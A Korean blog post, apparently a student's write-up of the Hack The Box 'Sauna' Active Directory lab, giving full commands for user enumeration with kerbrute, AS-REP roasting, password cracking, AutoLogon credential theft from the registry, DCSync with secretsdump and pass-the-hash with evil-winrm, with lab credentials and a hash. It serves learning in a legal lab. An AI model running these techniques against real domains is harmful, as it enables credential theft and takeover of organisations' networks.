Hack The Box

[Hack The Box] Sauna

imymin 2026. 5. 26. 13:16
반응형

이번 과제로는 HTB의 Sauna라는 문제를 풀어봤다. 이전에 Sau를 풀어봤는데 이름이 비슷해서 헷갈렸지만 완전 다른 박스였다. Sauna는 Active Directory 박스로, AD 펜테스팅을 거의 처음 해봐서 공부할 게 많았다.

환경 설정

이번 박스는 환경 설정부터 좀 신경 써야 했다. 내 맥북이 Apple Silicon인데, VM으로 Kali를 돌리면 ARM 호환성 문제가 있어서 Docker로 Kali 컨테이너를 띄워서 작업했다.

docker run -it \
  --name htb-kali \
  --hostname kali \
  -v ~/kali:/kali \
  --cap-add=NET_ADMIN \
  --device /dev/net/tun \
  kalilinux/kali-rolling \
  /bin/bash

--cap-add=NET_ADMIN과 --device /dev/net/tun은 컨테이너 안에서 OpenVPN 연결을 위해 필요했다.

기본 Kali Docker 이미지가 슬림 버전이라 도메인 펜테스팅 도구들이 안 깔려있어서 kali-linux-headless 메타패키지로 도구들을 한 번에 설치했다.

Port Scanning

instance를 얻고 일단 바로 포트 스캔부터 해보았다.

naabu -host 10.129.95.180 -p 1-65535 --namp-cli "-sV"

포트 스캔 결과
nmap 결과

linux 머신과 다르게 여러 포트들이 열려있는 것을 확인했다. (nmap에서는 5985 포트가 안 보여서 후에 고생을 좀 했다)

여기서 나에게 가장 익숙한 80번 포트를 확인했고 가장 먼저 브라우저를 실행해서 웹 페이지에 접속해봤다.

웹 페이지 정찰

80번 포트로 웹 페이지에 접속해봤다. 은행 사이트가 나왔다.

이리저리 둘러보다 about.html 페이지에서 의미있는 정보를 발견했다.

about.html에서 직원 이름 목록 확인

직원들의 풀네임이 노출되어 있었다. AD 환경에서 사용자명은 보통 이름에서 만들어지니까 이걸로 사용자명 후보를 만들 수 있을 것 같았다.

사용자명 후보 생성 및 검증

/about.html에 있는 모든 사용자명으로 kerbruete를 실행했지만 아무 것도 나오는 게 없었다. 그래서 username-anarchy을 이용해 username.txt를 만들었다. (first, last, flast, first.last 등의 조합)

그리고 kerbrute로 진짜 존재하는 사용자만 골라냈다.

kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.129.95.180 username.txt

kerbrute 실행 결과

fsmith가 진짜 도메인에 존재하는 사용자였다.

AS-REP Roasting

여기서부터가 진짜였다. 가이드 모드 힌트에서 "Kerberos Pre-Authentication이 비활성화된 사용자를 찾아라"라고 했다.

Kerberos는 일반적으로 사용자가 TGT를 요청할 때 자기 비번 해시로 timestamp를 암호화해서 보낸다. 이걸 Pre-authentication이라고 한다. 비번을 안다는 증거인 셈이다.

그런데 이게 꺼진 계정은 누구든 그 사용자의 TGT 요청을 보낼 수 있고, AS-REP 응답에 포함된 데이터를 받아서 오프라인으로 비번을 크랙할 수 있다.

impacket의 GetNPUsers로 fsmith를 시도해봤다.

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/fsmith \
  -no-pass \
  -dc-ip 10.129.95.180 \
  -outputfile hash.txt

GetNPUsers 결과

fsmith가 Pre-authentication이 꺼져있어서 AS-REP 해시를 받을 수 있었다.

해시 크래킹

획득한 AS-REP 해시를 hashcat으로 크랙하려고 했는데...

Docker + Apple Silicon 환경에서는 hashcat이 GPU 디바이스를 못 잡는 문제가 있는 것 같다. 한참 헤매다가 그냥 john으로 갈아탔다.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

john 크랙 결과

fsmith:Thestrokes23 획득.

evil-winrm으로 박스 접속

5985 포트가 WinRM(WSMan)이라 evil-winrm으로 PowerShell 셸을 따려고 했다.

evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23

evil-winrm 접속 성공

*Evil-WinRM* PS C:\Users\FSmith\Documents>

WinRM은 모든 사용자가 접근할 수 있는 건 아니고 Remote Management Users 그룹 멤버여야 하는데, fsmith가 거기 속해있었던 것 같다.

user flag는 Desktop에 있었다.

type C:\Users\FSmith\Desktop\user.txt

user flag 획득

권한 상승: AutoLogon

이제 권한 상승을 해야 했다. 가이드 모드 힌트에서 "자동 로그인되는 계정이 있다"고 했다.

윈도우는 자동 로그인 설정을 레지스트리의 Winlogon 키에 저장하는데, 비밀번호가 평문으로 저장된다는 약점이 있다.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

레지스트리 조회 결과

DefaultUserName    REG_SZ    EGOTISTICAL-BANK\svc_loanmgr
DefaultPassword    REG_SZ    Moneymakestheworldgoround!

svc_loanmgr의 평문 비밀번호를 그대로 얻을 수 있었다.

처음엔 net user나 net accounts로 확인해보려고 했는데 거기엔 자동 로그인 정보가 안 나왔다. 자동 로그인 설정은 SAM이나 정책이 아니라 레지스트리에 저장된다는 걸 그때 알았다.

BloodHound로 권한 분석

svc_loanmgr 계정이 뭘 할 수 있는지 알아내야 했다. BloodHound로 AD 권한 그래프를 만들어 분석하면 된다.

svc_loanmgr 노드를 검색해서 Outbound Object Control을 확인했다.

svc_loanmgr 권한 확인

그리고 저 GetChangesAll을 눌러 확인해보면 다음과 같은 말을 확인할 수 있다.

DCSync 공격을 수행할 수도 있다고 알려줌

이것으로 DCSync라는 공격을 할 수 있을 것 같다.

사실 HTB의 가이드 모드에서 DCSync를 사용할 수 있다고 알려줘서 알았다.

DCSync 공격

DCSync는 사실 정상 기능을 악용한 공격이다. AD에서 DC들끼리 비밀번호 정보를 복제하는 정상 기능(MS-DRSR)이 있는데, 공격자가 "나도 DC야"라고 가장하면 DC가 해시를 그대로 넘겨준다.

GetChanges + GetChangesAll 권한이 있으면 이게 가능한데, svc_loanmgr이 이 권한을 가지고 있었다.

impacket의 secretsdump로 Administrator 해시를 추출했다.

impacket-secretsdump -just-dc-user Administrator \
  EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180

secretsdump 결과

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[NT 해시]:::
[*] Cleaning up...

Administrator의 NT 해시를 얻었다.

그리고 가이드 모드에서 "평문 비밀번호 대신 해시값을 사용하여 인증할 수 있도록 하는 이 공격의 일반적인 명칭은 무엇입니까?"라는 글이 있어서 해당 공격을 찾아봤더니 Pass the Hash라는 공격이 있다는 것을 찾아냈다.

Pass-the-Hash

NTLM 프로토콜은 비밀번호 평문이 아니라 비밀번호의 NT 해시로 인증한다. 그래서 패스워드 자체를 모르고 해시만 있어도 인증을 통과할 수 있다. 이게 Pass-the-Hash 공격이다.

evil-winrm의 -H 옵션으로 해시를 직접 넣어서 Administrator로 접속했다.

evil-winrm -i 10.129.95.180 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e

Administrator 권한으로 접속

type C:\Users\Administrator\Desktop\root.txt

root flag 획득

정리하면서 배운 것

AS-REP Roasting은 처음 알게 된 공격이었다. Pre-authentication이라는 보안 메커니즘 자체가 없는 줄 알았는데, 끄면 이런 식으로 악용된다는 게 인상적이었다.

DCSync는 제일 인상적이었다. 새로운 익스플로잇이나 버그를 이용하는 게 아니라, AD의 정상 기능을 그대로 쓰는데도 도메인을 장악할 수 있다는 게 신기했다. 권한 관리가 그만큼 중요하다는 의미일 듯.

Pass-the-Hash는 NTLM의 본질적 약점이라는 걸 알게 됐다.

다음에 다른 AD 박스를 풀 때도 비슷한 흐름으로 풀 수 있을 것 같다.

반응형

'Hack The Box' 카테고리의 다른 글

[Hack The Box] Sau  (0) 2026.05.17
[Hack The Box] Code Part Two  (0) 2026.04.24